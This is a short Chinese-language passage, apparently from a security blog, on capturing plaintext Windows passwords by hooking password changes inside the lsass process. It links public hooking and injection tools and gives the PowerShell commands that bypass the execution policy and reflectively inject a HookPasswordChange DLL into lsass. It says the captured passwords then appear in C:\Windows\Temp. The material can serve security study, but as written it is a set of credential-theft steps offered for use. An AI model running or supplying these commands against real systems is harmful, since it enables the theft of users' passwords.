    dalao 写好的 Inline Hook 代码:https://github.com/clymb3r/Misc-Windows-Hacking
    使用 session0 注入将 dll 注入 lsass.exe ,但网上直接 dll 注入的好像都失败了。。。
    使用反射加载的方式进行尝试,利用 Powershell tricks 中的 Process Injection 将 dll 注入到lsass 进程,脚本 https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1,执行命令:
    Set-ExecutionPolicy bypass
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    

    修改密码过后就可以在 C:\Windows\Temp\ 中看到抓取的明文密码。
    (至于为什么没有复现截图是因为这里报了一个神奇的错误:
    image-20220223204004972
  • 参考文献: